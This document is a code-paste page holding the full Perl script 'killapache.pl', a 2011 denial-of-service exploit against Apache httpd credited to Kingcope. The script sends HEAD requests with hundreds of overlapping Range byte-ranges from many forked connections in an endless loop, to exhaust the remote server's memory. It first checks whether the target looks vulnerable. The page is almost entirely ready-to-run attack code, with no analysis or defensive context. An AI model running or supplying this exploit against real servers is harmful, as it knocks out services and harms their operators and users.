fork download
  1. #Apache httpd Remote Denial of Service (memory exhaustion)
  2. #By Kingcope
  3. #Year 2011
  4. #
  5. # Will result in swapping memory to filesystem on the remote side
  6. # plus killing of processes when running out of swap space.
  7. # Remote System becomes unstable.
  8. #
  9.  
  10. use IO::Socket;
  11. use Parallel::ForkManager;
  12.  
  13. sub usage {
  14. print "Apache Remote Denial of Service (memory exhaustion)\n";
  15. print "by Kingcope\n";
  16. print "usage: perl killapache.pl <host> [numforks]\n";
  17. print "example: perl killapache.pl www.example.com 50\n";
  18. }
  19.  
  20. sub killapache {
  21. print "ATTACKING $ARGV[0] [using $numforks forks]\n";
  22.  
  23. $pm = new Parallel::ForkManager($numforks);
  24.  
  25. $|=1;
  26. $p = "";
  27. for ($k=0;$k<1300;$k++) {
  28. $p .= ",5-$k";
  29. }
  30.  
  31. for ($k=0;$k<$numforks;$k++) {
  32. my $pid = $pm->start and next;
  33.  
  34. $x = "";
  35. my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
  36. PeerPort => "80",
  37. Proto => 'tcp');
  38.  
  39. $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
  40. print $sock $p;
  41.  
  42. while(<$sock>) {
  43. }
  44. $pm->finish;
  45. }
  46. $pm->wait_all_children;
  47. print ":pPpPpppPpPPppPpppPp\n";
  48. }
  49.  
  50. sub testapache {
  51. my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
  52. PeerPort => "80",
  53. Proto => 'tcp');
  54.  
  55. $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
  56. print $sock $p;
  57.  
  58. $x = <$sock>;
  59. if ($x =~ /Partial/) {
  60. print "host seems vuln\n";
  61. return 1;
  62. } else {
  63. return 0;
  64. }
  65. }
  66.  
  67. if ($#ARGV < 0) {
  68. usage;
  69. exit;
  70. }
  71.  
  72. if ($#ARGV > 1) {
  73. $numforks = $ARGV[1];
  74. } else {$numforks = 50;}
  75.  
  76. $v = testapache();
  77. if ($v == 0) {
  78. print "Host does not seem vulnerable\n";
  79. exit;
  80. }
  81. while(1) {
  82. killapache();
  83. }
Runtime error #stdin #stdout 0.02s 5572KB
stdin
Standard input is empty
stdout
Standard output is empty